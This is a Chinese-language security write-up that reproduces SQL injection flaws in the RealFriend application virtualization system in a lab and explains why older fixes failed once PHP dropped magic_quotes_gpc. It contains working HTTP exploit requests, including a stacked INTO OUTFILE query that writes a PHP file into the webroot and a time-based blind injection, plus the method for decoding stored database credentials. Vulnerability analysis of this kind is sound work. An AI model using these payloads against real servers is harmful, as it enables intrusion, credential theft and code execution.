之前也分析过瑞友天翼应用虚拟化系统的SQL注入漏洞,最近又爆出来一些漏洞,所以也想再做一个分析。

网上也有很多公开的 payload 所以先搭建环境做一个简单的复现

查看版本号

http://192.168.222.145/RAPAgent.XGI?CMD=GetRegInfo

http://192.168.222.145/CASMain.XGI?cmd=About

默认数据库配置地址 C:\Program Files (x86)\RealFriend\Rap Server\data\Config\CasDbCnn.dat

账号密码需要将其中的 # 替换为 = 并进行 base64 解码

因为搭建环境时,使用了集成好的mysql 环境,拥有 DBA 的权限,所以可以在文件夹任意位置写入内容

show global variables like '%secure%';


secure_file_priv='' #允许写入到任何文件夹

利用报错信息得到项目的绝对路径

7.0.3.1

利用之前下载过的版本 7.0.3.1

http://192.168.222.145/RAPAgent.XGI?CMD=GetRegInfo

http://192.168.222.145/CASMain.XGI?cmd=About

默认路径在 C:/Program Files (x86)/RealFriend/Rap Server/WebRoot

为了方便查看后端实际执行的完整sql,我们可以使用框架提供的 getLastSql() 方法来 获取最近一次执行的SQL语句

我们在代码处添加

构造一个简单的数据包进行发送,我们发现无法利用成功,传入的单引号仍然会被转义

这是因为在上一次出现SQL 注入漏洞后添加了修复的操作

但是确确实实又存在这个漏洞,我下载 7.0.5.1 构造数据包进行尝试

传入的单引号并没有转义这是为什么呢

经过查询资料发现 PHP 5.4 已废弃 magic_quotes_gpc,这一点在代码中同样有所体现

查询判断不同版本对应的 php 版本信息

总结起来就是这样的 在 5.x <= 瑞友天翼应用虚拟化系统(GWT System) <= 7.0.2 之前存在 SQL 注入漏洞,为了避免再次出现SQL 注入,通过开启 magic_quotes_gpc ,即使在代码层面存在缺陷导致 SQL 注入,但是添加了一层转义防护,也是很安全的。在版本不断升级的过程中,php 的版本也潜移默化的进行升级,导致 magic_quotes_gpc 不起作用了,所以又一次的出现 SQL 注入漏洞。因为集成环境中的 mysql 拥有写入文件的权限,所以写入 webshell 最终导致代码执行。

7.0.5.1

现在已经确定,传入的参数并不会被转义,所以只需要寻找SQL 注入点并加以利用就可以

appsave

通过GET 获取的参数直接拼接到 SQL 语句中

写入文件

GET /hmrao.php?s=/Admin/appsave&appid=1%27);select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test.php%27--+ HTTP/1.1
Host: 192.168.222.145
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

appdel


通过GET 传入的参数 list 最后拼接到 SQL 语句中

GET /hmrao.php?s=/Admin/appdel&list=1')%20AND(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)AND('1 HTTP/1.1
Host: 192.168.222.145
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.222.145/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2